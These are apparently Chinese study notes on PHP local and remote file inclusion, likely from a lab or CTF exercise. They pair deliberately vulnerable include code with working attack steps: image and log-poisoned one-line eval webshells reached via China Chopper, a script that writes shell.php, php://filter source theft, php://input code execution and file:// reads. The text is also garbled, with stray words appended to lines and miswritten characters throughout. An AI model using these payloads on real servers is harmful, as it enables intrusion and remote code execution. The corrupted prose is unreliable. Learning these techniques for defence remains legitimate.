//include包含 <?php echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>'; include "$_GET[page]"; ?> //放在网站目录下,直接能够访问网站下文件(文件名2.php) //访问时:http://127.0.0.1/2.php?page=1.txt (1.txt是放在网站的目录)至关于<?php include '1.txt';?> include包括文件
<?php $a = "$_GET[page]";//得到GET中的值 双引号解析变量 单引号原子符输出 $a = $_GET['page']; echo $a; ?> //http://127.0.0.1/4.php?page=55将55传入文件中并赋值给变量a
本地文件包含(Loacl File Inclusion,LFI):php
经过浏览器引进(包含)web服务器上的文件,这种漏洞是由于浏览器包含文件时没有进行严格 的过滤容许遍历目录的字符注入浏览器并执行。html
远程文件包含(Remote File Inclusion,RFI):web
该漏洞容许攻击者包含一个远程的文件,通常是在远程服务器上预先设置好的脚本。 此漏洞是由于浏览器对用户的输入没有进行检查,致使不一样程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。shell
利用文件包含漏洞必须包括main.php中代码 <?php $a = "$_GET[page]"; include $a; ?>
1.图片一句话木马
先用命令或工具把一句话木马加载到图片中浏览器
上传图片服务器
利用菜刀连工具
http://10.1.2.5:17857/cs/main.php?page=/uploads/14563.jpg网站
2.日志一句话木马ui
利用错误日志编码
将一句话木马写入错误日志中
http://127.0.0.1/<?php @eval($_POST["value"])>
利用bp抓包
在bp中自动编码因此要改为
在日志文件中显示
利用菜刀链接
http://10.1.2.5:17857/cs/main.php?page=错误日志路径 (在链接错误日志的时候可能链接不上,多是错误日志文件过多,须要清理)
3.利用远程访问
//在test.php中 <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[1478963]); ?>');//利用//文件包含漏洞运行test.php文件会在文件目录建立shell.php ?>
http://10.1.2.5:17857/cs/main.php?page=test.php(test.php路径所在地)
4.PHP封装协议读取文件
http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php 获取源代码
返回到网页中:PD9waHAKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCIgLz4nOwppbmNsdWRlICIkX0dFVFtwYWdlXSI7Cj8+
再利用Base64解码
<?php echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8" />'; include "$_GET[page]"; ?>
5.PHP封装协议执行命令
http://10.1.2.5:17857/cs/main.php?page=php://input
进行执行PHP代码
6.file协议 须要服务器的绝对路径
http://10.1.2.5:17857/cs/main.php?page=file://c:/flag.txt